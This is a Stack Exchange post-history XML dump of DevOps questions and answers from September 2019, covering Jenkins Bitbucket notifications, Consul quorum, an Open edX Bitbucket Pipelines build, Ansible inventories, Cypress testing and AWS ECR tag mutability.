  <row Id="26668" PostHistoryTypeId="5" PostId="6582" RevisionGUID="5b8eb9db-f2dd-4faf-a689-3d9ae346d1a9" CreationDate="2019-09-03T10:34:26.680" UserId="210" Comment="added 12 characters in body" Text="[Based on this PR][1], the `repoSlug` was added and now the status is sent to the right repository.&#xD;&#xA;&#xD;&#xA;When it was not working:&#xD;&#xA;&#xD;&#xA;    post {&#xD;&#xA;        success {&#xD;&#xA;            bitbucketStatusNotify(&#xD;&#xA;                    buildState: 'SUCCESSFUL',&#xD;&#xA;                    commitId: env.GIT_COMMIT&#xD;&#xA;            )&#xD;&#xA;        }&#xD;&#xA;        failure {&#xD;&#xA;            bitbucketStatusNotify(&#xD;&#xA;                    buildState: 'FAILED',&#xD;&#xA;                    commitId: env.GIT_COMMIT&#xD;&#xA;            )&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Now it works:&#xD;&#xA;&#xD;&#xA;    post {&#xD;&#xA;        success {&#xD;&#xA;            bitbucketStatusNotify(&#xD;&#xA;                    buildState: 'SUCCESSFUL',&#xD;&#xA;                    repoSlug: 'repoSlug aka repositoryName, e.g. some-app',&#xD;&#xA;                    commitId: env.GIT_COMMIT&#xD;&#xA;            )&#xD;&#xA;        }&#xD;&#xA;        failure {&#xD;&#xA;            bitbucketStatusNotify(&#xD;&#xA;                    buildState: 'FAILED',&#xD;&#xA;                    repoSlug: 'repoSlug aka repositoryName, e.g. some-app',&#xD;&#xA;                    commitId: env.GIT_COMMIT&#xD;&#xA;            )&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;[The README in the Github repo emphasized that][2]:&#xD;&#xA;&#xD;&#xA;&gt; Note that the repoSlug and commitId parameters work only when they are&#xD;&#xA;&gt; both specified.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/jenkinsci/bitbucket-build-status-notifier-plugin/pull/37&#xD;&#xA;  [2]: https://github.com/jenkinsci/bitbucket-build-status-notifier-plugin" ContentLicense="CC BY-SA 4.0" />
  <row Id="26669" PostHistoryTypeId="50" PostId="5635" RevisionGUID="88f3b98d-21dc-4673-8a4a-2ad7a568facf" CreationDate="2019-09-03T11:00:38.153" UserId="-1" />
  <row Id="26673" PostHistoryTypeId="50" PostId="5624" RevisionGUID="541d7e0f-a8d0-4e3c-bc37-2c1c325fdf74" CreationDate="2019-09-03T13:01:05.460" UserId="-1" />
  <row Id="26674" PostHistoryTypeId="2" PostId="9081" RevisionGUID="13e281b7-8d2a-4fe4-b0ac-a1a546a9cf06" CreationDate="2019-09-03T14:06:52.347" UserId="16664" Text="It's a bug in terraform aws ec2 module, last working version is 2.5.0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26675" PostHistoryTypeId="2" PostId="9082" RevisionGUID="c95da759-4adc-4cfa-87b9-bfa6ce0c3d08" CreationDate="2019-09-03T16:02:15.403" UserId="15792" Text="Since you are using the tag &quot;Docker-Machine&quot; I'm assuming that you are using Docker Toolbox to manage Docker.  The problem is most likely an issue with Virtual Box configuration than your Docker configuration.&#xD;&#xA;&#xD;&#xA;When you try pinging your container on port 9001, use the ip `0.0.0.0` instead of `127.0.0.1` or `localhost`.  Another way to test would be to get the IP address of the docker-machine, `docker-machine ip`, and use this IP to ping your container (e.g. use `192.168.99.100:9001`.&#xD;&#xA;&#xD;&#xA;If you are trying to access the container from another computer you may have to look into a solution like port forwarding as described [here][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://woshub.com/port-forwarding-in-windows/" ContentLicense="CC BY-SA 4.0" />
  <row Id="26676" PostHistoryTypeId="2" PostId="9083" RevisionGUID="b1ba4910-1b6c-4694-90b5-0592292e9e8b" CreationDate="2019-09-03T16:38:47.680" UserId="677" Text="Based on my understanding of the topology you have described you essential have:&#xA;&#xA;3 Nodes - 2 Servers and 1 Client&#xA;&#xA;This layout is immediately a problem because the clustering protocol that consul uses relys on being able to easily elect a leader, which requires an odd number of servers.&#xA;&#xA;If you consider the failure scenario of a 2 node consul cluster - as soon as a single node goes down your one remaining node cannot achieve consensus by itself because there's no way to get a majority of the servers voting on something.&#xA;&#xA;In the consul docs the consensus protocol is reasonably well described [Consensus docs][1]&#xA;&#xA;They even include a summary table which explicitly states how many server members could be lost for varying cluster sizes.&#xA;&#xA;Following their advice, your 2 server cluster cannot withstand any fault because it would then become impossible to achieve quorum.&#xA;&#xA;Really a minimum number of servers for a functional consul cluster is 3.&#xA;&#xA;&#xA;  [1]: https://www.consul.io/docs/internals/consensus.html &quot;Consul Consensus Protocol&quot;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26677" PostHistoryTypeId="2" PostId="9084" RevisionGUID="22278807-661c-4d6d-8061-93594c567238" CreationDate="2019-09-03T17:03:14.703" UserId="16889" Text="I am trying to set up CI process using bitbucket pipelines for my Openedx site. The script that i am using in my bitbucket-pipelines.yml file is given below. I am trying to just set up the build process on LMS (themes), so that whenever someone make any change in the front end of the site, the build updates paver assets and recompile the assets.The problem is,it is failing on paver update assets giving the error&#xD;&#xA;&quot; python manage.py lms --settings=devstack_docker print_setting STATIC_ROOT 2&gt;/dev/null&#xD;&#xA;Build failed running pavelib.assets.update_assets: Subprocess return code: 1 &quot;&#xD;&#xA;&#xD;&#xA;Has anyone faced this issue? Please suggest any solution.&#xD;&#xA;&#xD;&#xA;image: python:3.5.6 &#xD;&#xA;definitions:&#xD;&#xA;  services:&#xD;&#xA;    docker:&#xD;&#xA;      memory: 7168&#xD;&#xA;options:&#xD;&#xA;  size: 2x  # all steps in this repo get 8GB memory&#xD;&#xA;&#xD;&#xA;pipelines:&#xD;&#xA;  default:&#xD;&#xA;    - step: &#xD;&#xA;        services:&#xD;&#xA;          - docker&#xD;&#xA;        script:&#xD;&#xA;          # Upgrade Docker Compose to the latest version test&#xD;&#xA;          - python --version&#xD;&#xA;          - export DOCKER_COMPOSE_VERSION=1.13.0&#xD;&#xA;          - curl -L https://github.com/docker/compose/releases/download/${DOCKER_COMPOSE_VERSION}/docker-compose-`uname -s`-`uname -m` &gt; docker-compose&#xD;&#xA;          - chmod +x docker-compose&#xD;&#xA;          - mv docker-compose /usr/local/bin&#xD;&#xA;          &#xD;&#xA;          - export OPENEDX_RELEASE=hawthorn.master&#xD;&#xA;          - git clone https://github.com/sanjaysample/devstack.git&#xD;&#xA;          - cd devstack &#xD;&#xA;          - git checkout open-release/hawthorn.master&#xD;&#xA;          - make dev.checkout&#xD;&#xA;          - make requirements&#xD;&#xA;          - make dev.clone &#xD;&#xA;          - ls&#xD;&#xA;          - make pull&#xD;&#xA;          - make dev.up&#xD;&#xA;          - sleep 60 # LMS needs like 60 seconds to come up&#xD;&#xA;          - docker cp ../metronic edx.devstack.lms:/edx/app/edxapp/edx-platform/themes&#xD;&#xA;          - docker cp ../pavelib edx.devstack.lms:/edx/app/edxapp/edx-platform&#xD;&#xA;          - wget https://raw.githubusercontent.com/sumbul03/edx-theme/master/lms.env.json&#xD;&#xA;          - docker cp lms.env.json edx.devstack.lms:/edx/app/edxapp/lms.env.json&#xD;&#xA;          - rm lms.env.json&#xD;&#xA;          - docker cp edx.devstack.lms:/edx/app/edxapp/lms.env.json .&#xD;&#xA;          - cat lms.env.json&#xD;&#xA;          - docker ps&#xD;&#xA;          - docker-compose restart lms&#xD;&#xA;          - docker-compose exec -T lms bash -c 'source /edx/app/edxapp/edxapp_env &amp;&amp; cd /edx/app/edxapp/edx-platform &amp;&amp; git init &amp;&amp; git remote add origin https://github.com/edx/edx-platform.git &amp;&amp; git fetch origin open-release/hawthorn.master &amp;&amp; git checkout -f open-release/hawthorn.master &amp;&amp; paver install_prereqs &amp;&amp; paver update_assets lms --settings=devstack_docker --debug || true'&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26678" PostHistoryTypeId="1" PostId="9084" RevisionGUID="22278807-661c-4d6d-8061-93594c567238" CreationDate="2019-09-03T17:03:14.703" UserId="16889" Text="Continuous integration using bitbucket pipelines failed for OpenEdx" ContentLicense="CC BY-SA 4.0" />
  <row Id="26679" PostHistoryTypeId="3" PostId="9084" RevisionGUID="22278807-661c-4d6d-8061-93594c567238" CreationDate="2019-09-03T17:03:14.703" UserId="16889" Text="&lt;docker&gt;&lt;docker-compose&gt;&lt;bitbucket&gt;&lt;bitbucket-pipelines&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26680" PostHistoryTypeId="5" PostId="9075" RevisionGUID="928c73e4-eb4b-40b6-893a-fdf24702d356" CreationDate="2019-09-03T17:20:39.293" UserId="739" Comment="mostly capital i's, but also an A" Text="I have so many HA machines that one of them is primary and the other is standby.  I have this playbook that copies a config file from primary and then from standby on local machine then use those files as input for a python script:  &#xD;&#xA;&#xD;&#xA;    - hosts: primary&#xD;&#xA;      remote_user: root&#xD;&#xA;      tasks:&#xD;&#xA;      - name: copy the config of primary to local&#xD;&#xA;        fetch:&#xD;&#xA;          src: /data1/cronjobs/gen_ddl&#xD;&#xA;          dest: /AnsibleDir/primary&#xD;&#xA;          flat: yes&#xD;&#xA;    - hosts: standby&#xD;&#xA;      remote_user: root&#xD;&#xA;      tasks:&#xD;&#xA;      - name: copy the config of standby to local&#xD;&#xA;        fetch:&#xD;&#xA;          src: /data1/cronjobs/gen_ddl&#xD;&#xA;          dest: /AnsibleDir/standby&#xD;&#xA;          flat: yes&#xD;&#xA;    - hosts: 127.0.0.1&#xD;&#xA;      connection: local&#xD;&#xA;      remote_user: root&#xD;&#xA;      tasks:&#xD;&#xA;      - name: run python script&#xD;&#xA;        shell: /AnsibleDir/driver.py&#xD;&#xA;        register: myshell_output&#xD;&#xA;      - name: copy the output to a local file&#xD;&#xA;        copy:&#xD;&#xA;          content: &quot;{{ myshell_output.stdout }}&quot;&#xD;&#xA;          dest: &quot;/AnsibleDir/output.{{ host }}&quot;  &#xD;&#xA;&#xD;&#xA;and I use this command:  &#xD;&#xA;`ansible-playbook -i /Ansible/hostfile /Ansible/python.yml --extra-vars &quot;host=test1&quot;`  &#xD;&#xA;&#xD;&#xA;in `hostfile` I have this configuration:  &#xD;&#xA;     &#xD;&#xA;    [primary]&#xD;&#xA;    192.168.107.69&#xD;&#xA;    [standby]&#xD;&#xA;    192.168.107.70&#xD;&#xA;&#xD;&#xA;I think that I should edit this file every time I want to run my playbook. so is it possible to have so many pairs of IPs?  &#xD;&#xA;for example something like this:  &#xD;&#xA;&#xD;&#xA;    primary:1.1.1.1,standby:1.1.1.2&#xD;&#xA;    primary:1.1.1.3,standby:1.1.1.4&#xD;&#xA;    primary:1.1.1.5,standby:1.1.1.6  &#xD;&#xA;&#xD;&#xA;or can I assign each pair the variable I want instead of writing it in my command every time? like:  &#xD;&#xA;     &#xD;&#xA;    primary:1.1.1.1,standby:1.1.1.2,host:test1&#xD;&#xA;    primary:1.1.1.3,standby:1.1.1.4,host:test2  &#xD;&#xA;&#xD;&#xA;I searched a lot but I could't find anything and I'm new to ansible. Any suggestions? " ContentLicense="CC BY-SA 4.0" />
  <row Id="26681" PostHistoryTypeId="4" PostId="9075" RevisionGUID="928c73e4-eb4b-40b6-893a-fdf24702d356" CreationDate="2019-09-03T17:20:39.293" UserId="739" Comment="mostly capital i's, but also an A" Text="Is it possible to have pair of IPs in Ansible?" ContentLicense="CC BY-SA 4.0" />
  <row Id="26682" PostHistoryTypeId="2" PostId="9085" RevisionGUID="29b47b3a-273c-4390-a4e8-e22dc1a30982" CreationDate="2019-09-03T18:13:00.723" UserId="16893" Text="I have a small team but a gigantic application. We don't have PHP unit testing, so we will be using Cypress as a baseline for quality. Everything will go through a CI/CD pipeline and use regression end to end to make sure we haven't broken any modules or projects. One example is a FedEx API for shipping and we have multiple addresses, using GUI testing will be too slow, so I wonder if using Cypress is okay for that task as opposed to put another system (Postman with CLI) in the pipeline running testing with dynamic data (multiple Postal Codes and addresses? )" ContentLicense="CC BY-SA 4.0" />
  <row Id="26683" PostHistoryTypeId="1" PostId="9085" RevisionGUID="29b47b3a-273c-4390-a4e8-e22dc1a30982" CreationDate="2019-09-03T18:13:00.723" UserId="16893" Text="Is Cypress ok to do stress test on API - Building the right pipeline" ContentLicense="CC BY-SA 4.0" />
  <row Id="26684" PostHistoryTypeId="3" PostId="9085" RevisionGUID="29b47b3a-273c-4390-a4e8-e22dc1a30982" CreationDate="2019-09-03T18:13:00.723" UserId="16893" Text="&lt;continuous-integration&gt;&lt;regression&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26685" PostHistoryTypeId="5" PostId="9084" RevisionGUID="bee669b1-28d5-43d2-9674-1f767fb72568" CreationDate="2019-09-03T18:16:00.587" UserId="15792" Comment="Added formatting to make it easier to read" Text="I am trying to set up CI process using bitbucket pipelines for my Openedx site. The script that i am using in my bitbucket-pipelines.yml file is given below. I am trying to just set up the build process on LMS (themes), so that whenever someone make any change in the front end of the site, the build updates paver assets and recompile the assets. The problem is, it is failing on paver update assets giving the error:&#xD;&#xA;&#xD;&#xA;&gt; python manage.py lms --settings=devstack_docker print_setting&#xD;&#xA;&gt; STATIC_ROOT 2&gt;/dev/null Build failed running&#xD;&#xA;&gt; pavelib.assets.update_assets: Subprocess return code: 1&#xD;&#xA;&#xD;&#xA;Has anyone faced this issue? Please suggest any solution.&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&lt;code&gt;image: python:3.5.6 &#xD;&#xA;definitions:&#xD;&#xA;  services:&#xD;&#xA;    docker:&#xD;&#xA;      memory: 7168&#xD;&#xA;options:&#xD;&#xA;  size: 2x  # all steps in this repo get 8GB memory&#xD;&#xA;&#xD;&#xA;pipelines:&#xD;&#xA;  default:&#xD;&#xA;    - step: &#xD;&#xA;        services:&#xD;&#xA;          - docker&#xD;&#xA;        script:&#xD;&#xA;          # Upgrade Docker Compose to the latest version test&#xD;&#xA;          - python --version&#xD;&#xA;          - export DOCKER_COMPOSE_VERSION=1.13.0&#xD;&#xA;          - curl -L https://github.com/docker/compose/releases/download/${DOCKER_COMPOSE_VERSION}/docker-compose-`uname -s`-`uname -m` &gt; docker-compose&#xD;&#xA;          - chmod +x docker-compose&#xD;&#xA;          - mv docker-compose /usr/local/bin&#xD;&#xA;          &#xD;&#xA;          - export OPENEDX_RELEASE=hawthorn.master&#xD;&#xA;          - git clone https://github.com/sanjaysample/devstack.git&#xD;&#xA;          - cd devstack &#xD;&#xA;          - git checkout open-release/hawthorn.master&#xD;&#xA;          - make dev.checkout&#xD;&#xA;          - make requirements&#xD;&#xA;          - make dev.clone &#xD;&#xA;          - ls&#xD;&#xA;          - make pull&#xD;&#xA;          - make dev.up&#xD;&#xA;          - sleep 60 # LMS needs like 60 seconds to come up&#xD;&#xA;          - docker cp ../metronic edx.devstack.lms:/edx/app/edxapp/edx-platform/themes&#xD;&#xA;          - docker cp ../pavelib edx.devstack.lms:/edx/app/edxapp/edx-platform&#xD;&#xA;          - wget https://raw.githubusercontent.com/sumbul03/edx-theme/master/lms.env.json&#xD;&#xA;          - docker cp lms.env.json edx.devstack.lms:/edx/app/edxapp/lms.env.json&#xD;&#xA;          - rm lms.env.json&#xD;&#xA;          - docker cp edx.devstack.lms:/edx/app/edxapp/lms.env.json .&#xD;&#xA;          - cat lms.env.json&#xD;&#xA;          - docker ps&#xD;&#xA;          - docker-compose restart lms&#xD;&#xA;          - docker-compose exec -T lms bash -c 'source /edx/app/edxapp/edxapp_env &amp;&amp; cd /edx/app/edxapp/edx-platform &amp;&amp; git init &amp;&amp; git remote add origin https://github.com/edx/edx-platform.git &amp;&amp; git fetch origin open-release/hawthorn.master &amp;&amp; git checkout -f open-release/hawthorn.master &amp;&amp; paver install_prereqs &amp;&amp; paver update_assets lms --settings=devstack_docker --debug || true'&lt;/code&gt;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26686" PostHistoryTypeId="6" PostId="9084" RevisionGUID="bee669b1-28d5-43d2-9674-1f767fb72568" CreationDate="2019-09-03T18:16:00.587" UserId="15792" Comment="Added formatting to make it easier to read" Text="&lt;docker&gt;&lt;continuous-integration&gt;&lt;docker-compose&gt;&lt;bitbucket-pipelines&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26687" PostHistoryTypeId="24" PostId="9084" RevisionGUID="bee669b1-28d5-43d2-9674-1f767fb72568" CreationDate="2019-09-03T18:16:00.587" Comment="Proposed by 15792 approved by -1 edit id of 1063" ContentLicense="CC BY-SA 4.0" />
  <row Id="26688" PostHistoryTypeId="5" PostId="9084" RevisionGUID="00f348c2-0b71-4344-8622-a96206127b07" CreationDate="2019-09-03T18:16:00.587" UserId="40" Comment="Added formatting to make it easier to read" Text="I am trying to set up CI process using bitbucket pipelines for my Openedx site. The script that i am using in my bitbucket-pipelines.yml file is given below. I am trying to just set up the build process on LMS (themes), so that whenever someone make any change in the front end of the site, the build updates paver assets and recompile the assets. The problem is, it is failing on paver update assets giving the error:&#xD;&#xA;&#xD;&#xA;&gt; python manage.py lms --settings=devstack_docker print_setting&#xD;&#xA;&gt; STATIC_ROOT 2&gt;/dev/null Build failed running&#xD;&#xA;&gt; pavelib.assets.update_assets: Subprocess return code: 1&#xD;&#xA;&#xD;&#xA;Any solution?&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&lt;code&gt;image: python:3.5.6 &#xD;&#xA;definitions:&#xD;&#xA;  services:&#xD;&#xA;    docker:&#xD;&#xA;      memory: 7168&#xD;&#xA;options:&#xD;&#xA;  size: 2x  # all steps in this repo get 8GB memory&#xD;&#xA;&#xD;&#xA;pipelines:&#xD;&#xA;  default:&#xD;&#xA;    - step: &#xD;&#xA;        services:&#xD;&#xA;          - docker&#xD;&#xA;        script:&#xD;&#xA;          # Upgrade Docker Compose to the latest version test&#xD;&#xA;          - python --version&#xD;&#xA;          - export DOCKER_COMPOSE_VERSION=1.13.0&#xD;&#xA;          - curl -L https://github.com/docker/compose/releases/download/${DOCKER_COMPOSE_VERSION}/docker-compose-`uname -s`-`uname -m` &gt; docker-compose&#xD;&#xA;          - chmod +x docker-compose&#xD;&#xA;          - mv docker-compose /usr/local/bin&#xD;&#xA;          &#xD;&#xA;          - export OPENEDX_RELEASE=hawthorn.master&#xD;&#xA;          - git clone https://github.com/sanjaysample/devstack.git&#xD;&#xA;          - cd devstack &#xD;&#xA;          - git checkout open-release/hawthorn.master&#xD;&#xA;          - make dev.checkout&#xD;&#xA;          - make requirements&#xD;&#xA;          - make dev.clone &#xD;&#xA;          - ls&#xD;&#xA;          - make pull&#xD;&#xA;          - make dev.up&#xD;&#xA;          - sleep 60 # LMS needs like 60 seconds to come up&#xD;&#xA;          - docker cp ../metronic edx.devstack.lms:/edx/app/edxapp/edx-platform/themes&#xD;&#xA;          - docker cp ../pavelib edx.devstack.lms:/edx/app/edxapp/edx-platform&#xD;&#xA;          - wget https://raw.githubusercontent.com/sumbul03/edx-theme/master/lms.env.json&#xD;&#xA;          - docker cp lms.env.json edx.devstack.lms:/edx/app/edxapp/lms.env.json&#xD;&#xA;          - rm lms.env.json&#xD;&#xA;          - docker cp edx.devstack.lms:/edx/app/edxapp/lms.env.json .&#xD;&#xA;          - cat lms.env.json&#xD;&#xA;          - docker ps&#xD;&#xA;          - docker-compose restart lms&#xD;&#xA;          - docker-compose exec -T lms bash -c 'source /edx/app/edxapp/edxapp_env &amp;&amp; cd /edx/app/edxapp/edx-platform &amp;&amp; git init &amp;&amp; git remote add origin https://github.com/edx/edx-platform.git &amp;&amp; git fetch origin open-release/hawthorn.master &amp;&amp; git checkout -f open-release/hawthorn.master &amp;&amp; paver install_prereqs &amp;&amp; paver update_assets lms --settings=devstack_docker --debug || true'&lt;/code&gt;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26689" PostHistoryTypeId="4" PostId="9085" RevisionGUID="160b439f-6193-4e5d-89fa-2ed134b5b25a" CreationDate="2019-09-03T18:18:57.277" UserId="16893" Comment="edited title" Text="Is Cypress ok to do stress tests on APIs in a CI/CD pipeline?" ContentLicense="CC BY-SA 4.0" />
  <row Id="26690" PostHistoryTypeId="2" PostId="9086" RevisionGUID="c246a514-53bd-44b1-8449-dda1a7eac777" CreationDate="2019-09-03T19:32:57.193" UserId="15792" Text="[Cypress][1] is designed for End-To-End (E2E) testing and is not designed with the purpose of stress testing an API.&#xD;&#xA;&#xD;&#xA;Tools like Postman have many great features and can be run from the CLI for CI integration (e.g. [Newman][2]), but ultimately may not fit what you are looking for either.&#xD;&#xA;&#xD;&#xA;I would recommend using a tool that is designed for load testing.  These tools often integrate with CI systems and have the ability to highlight when certain thresholds have been exceeded.  There are several available options (non exhaustive list):&#xD;&#xA;&#xD;&#xA; - [JMeter][3] - It's free, powerful, and reliable.  It takes some work to set it up well though.&#xD;&#xA; - [Load Impact][4] - Uses Postman to load test.&#xD;&#xA; - [SoapUI][5] - Another option for SOAP or REST API testing.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.cypress.io/&#xD;&#xA;  [2]: https://learning.getpostman.com/docs/postman/collection_runs/command_line_integration_with_newman/&#xD;&#xA;  [3]: https://jmeter.apache.org/&#xD;&#xA;  [4]: https://loadimpact.com/&#xD;&#xA;  [5]: https://www.soapui.org" ContentLicense="CC BY-SA 4.0" />
  <row Id="26691" PostHistoryTypeId="6" PostId="2422" RevisionGUID="15a4d553-223a-4267-a3c8-d2c1b2940fa1" CreationDate="2019-09-03T19:54:26.410" UserId="4115" Comment="removed bcbsn tag because question is not about bcbsn, but about a different plugin instead" Text="&lt;jenkins&gt;&lt;jenkins-pipeline&gt;&lt;jenkins-plugins&gt;&lt;jenkinsfile&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26692" PostHistoryTypeId="2" PostId="9087" RevisionGUID="a172c545-3105-4f44-8ce6-a039082c9774" CreationDate="2019-09-04T01:54:50.617" UserId="210" Text="When one would like to create an Elastic Container Registry then it is possible to set 'image tag mutability':&#xD;&#xA;&#xD;&#xA;&gt; Image tag mutability&#xD;&#xA;&#xD;&#xA;&gt; The image tag mutability setting for the&#xD;&#xA;&gt; repository. Select &quot;immutable&quot; to prevent image tags from being&#xD;&#xA;&gt; overwritten by subsequent image pushes using the same tag. Mutable&#xD;&#xA;&gt; Immutable&#xD;&#xA;&#xD;&#xA;According to [this user guide][1] it does not seem to be possible to configure this using AWS CloudFormation.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-ecr-repository.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="26693" PostHistoryTypeId="1" PostId="9087" RevisionGUID="a172c545-3105-4f44-8ce6-a039082c9774" CreationDate="2019-09-04T01:54:50.617" UserId="210" Text="How to set 'image tag mutability' using CloudFormation?" ContentLicense="CC BY-SA 4.0" />
  <row Id="26694" PostHistoryTypeId="3" PostId="9087" RevisionGUID="a172c545-3105-4f44-8ce6-a039082c9774" CreationDate="2019-09-04T01:54:50.617" UserId="210" Text="&lt;aws-cloudformation&gt;&lt;aws-ecr&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26695" PostHistoryTypeId="2" PostId="9088" RevisionGUID="53e77ada-66e7-46c5-8193-785254403446" CreationDate="2019-09-04T01:55:39.693" UserId="210" Comment="added 42 characters in body" Text="ECR stands for Elastic Container Registry." ContentLicense="CC BY-SA 4.0" />
  <row Id="26696" PostHistoryTypeId="1" PostId="9088" RevisionGUID="53e77ada-66e7-46c5-8193-785254403446" CreationDate="2019-09-04T01:55:39.693" UserId="210" Comment="added 42 characters in body" ContentLicense="CC BY-SA 4.0" />
  <row Id="26697" PostHistoryTypeId="2" PostId="9089" RevisionGUID="aa4063ad-83bf-4f6d-921b-b03ef6e78ef2" CreationDate="2019-09-04T01:55:39.693" UserId="210" Text="Use this tag if a question is about AWS ECR." ContentLicense="CC BY-SA 4.0" />
  <row Id="26698" PostHistoryTypeId="1" PostId="9089" RevisionGUID="aa4063ad-83bf-4f6d-921b-b03ef6e78ef2" CreationDate="2019-09-04T01:55:39.693" UserId="210" ContentLicense="CC BY-SA 4.0" />
  <row Id="26705" PostHistoryTypeId="2" PostId="9092" RevisionGUID="503a3b42-8b1a-4ae1-a846-76af5f35696a" CreationDate="2019-09-04T07:56:25.937" UserId="354" Text="[Young's Modulus](https://en.wikipedia.org/wiki/Young%27s_modulus) is defined as follows:&#xD;&#xA;&#xD;&#xA;&gt; Young's modulus or Young modulus is a mechanical property that measures the stiffness of a solid material&#xD;&#xA;&#xD;&#xA;In the case of [AWS **Elastic** Compute Cloud (EC2)](https://aws.amazon.com/ec2/), the analogy of this physical property is provided via the [AutoScaling](https://aws.amazon.com/ec2/autoscaling/) feature -- as one stresses the system, it can accomodate more force. Considering just the case where one applies autoscaling based on cloudwatch alarms:&#xD;&#xA;&#xD;&#xA;**What is the maximum elasticity** that EC2 autoscaling can provide?" ContentLicense="CC BY-SA 4.0" />
  <row Id="26706" PostHistoryTypeId="1" PostId="9092" RevisionGUID="503a3b42-8b1a-4ae1-a846-76af5f35696a" CreationDate="2019-09-04T07:56:25.937" UserId="354" Text="What is the Young's Modulus for EC2?" ContentLicense="CC BY-SA 4.0" />
  <row Id="26707" PostHistoryTypeId="3" PostId="9092" RevisionGUID="503a3b42-8b1a-4ae1-a846-76af5f35696a" CreationDate="2019-09-04T07:56:25.937" UserId="354" Text="&lt;amazon-web-services&gt;&lt;amazon-ec2&gt;&lt;autoscaling&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26708" PostHistoryTypeId="50" PostId="6773" RevisionGUID="35a4a3b4-5735-4a41-a17c-6bd168f27aa6" CreationDate="2019-09-04T10:01:40.163" UserId="-1" />
  <row Id="26712" PostHistoryTypeId="50" PostId="8806" RevisionGUID="5075dddf-a84f-4a35-9a98-b34ac3266a71" CreationDate="2019-09-04T11:01:25.160" UserId="-1" />
  <row Id="26716" PostHistoryTypeId="2" PostId="9095" RevisionGUID="bad2e69a-b2b1-43b2-9845-b56e34082b3e" CreationDate="2019-09-04T13:27:53.700" UserId="16893" Text="Or there a language agnostic unit and regresion testing?&#xD;&#xA;&#xD;&#xA;My team built an MVP with manual tests only and we got into the inverted icecream antipattern. Now to transform into production we need to fix the problem. The marketplace is fully going into Node and JS frameworks and convincing devs to invest more into php is hard considering the job marketplace. Right now we got into a problem that in order to fix 1 bug 2 more appears because there is no regression. Is there a way to fix the icecream antipattern using a php agnostic unit testing? or do we really need to get into phpunit / codeception?" ContentLicense="CC BY-SA 4.0" />
  <row Id="26717" PostHistoryTypeId="1" PostId="9095" RevisionGUID="bad2e69a-b2b1-43b2-9845-b56e34082b3e" CreationDate="2019-09-04T13:27:53.700" UserId="16893" Text="Can Cypress with cucumber replace php unit and regression tests in CI/Cd pipeline?" ContentLicense="CC BY-SA 4.0" />
  <row Id="26718" PostHistoryTypeId="3" PostId="9095" RevisionGUID="bad2e69a-b2b1-43b2-9845-b56e34082b3e" CreationDate="2019-09-04T13:27:53.700" UserId="16893" Text="&lt;cicd&gt;&lt;php&gt;&lt;regression&gt;&lt;unit-testing&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26719" PostHistoryTypeId="2" PostId="9096" RevisionGUID="e645a814-f394-4468-9396-701a27832435" CreationDate="2019-09-04T13:53:01.653" UserId="2717" Text="The `ImageTagMutability` property in ECR is not currently supported in CloudFormation, as verified by experimentation (nor is it part of the LifecyclePolicy property). There is sometimes lag between feature availability in CloudFormation, and the mutability flag [was only introduced in late July][1].&#xD;&#xA;&#xD;&#xA;This comes up elsewhere in the corners of AWS, including:&#xD;&#xA;&#xD;&#xA;* AWS Global Accelerator - this entire service is not provisionable using CloudFormation.&#xD;&#xA;* AWS WAF geo match rules cannot be created in CFN.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://aws.amazon.com/about-aws/whats-new/2019/07/amazon-ecr-now-supports-immutable-image-tags/" ContentLicense="CC BY-SA 4.0" />
  <row Id="26720" PostHistoryTypeId="4" PostId="9085" RevisionGUID="1f2db9db-9d2f-456a-bf7c-944ab5e9e9ef" CreationDate="2019-09-04T13:55:12.433" UserId="15792" Comment="Per the comment this is not a question about stress testing, but acceptance testing." Text="Is Cypress ok for acceptance tests on APIs in a CI/CD pipeline?" ContentLicense="CC BY-SA 4.0" />
  <row Id="26721" PostHistoryTypeId="6" PostId="9085" RevisionGUID="1f2db9db-9d2f-456a-bf7c-944ab5e9e9ef" CreationDate="2019-09-04T13:55:12.433" UserId="15792" Comment="Per the comment this is not a question about stress testing, but acceptance testing." Text="&lt;continuous-integration&gt;&lt;testing&gt;&lt;regression&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26722" PostHistoryTypeId="24" PostId="9085" RevisionGUID="1f2db9db-9d2f-456a-bf7c-944ab5e9e9ef" CreationDate="2019-09-04T13:55:12.433" Comment="Proposed by 15792 approved by 16893 edit id of 1064" ContentLicense="CC BY-SA 4.0" />
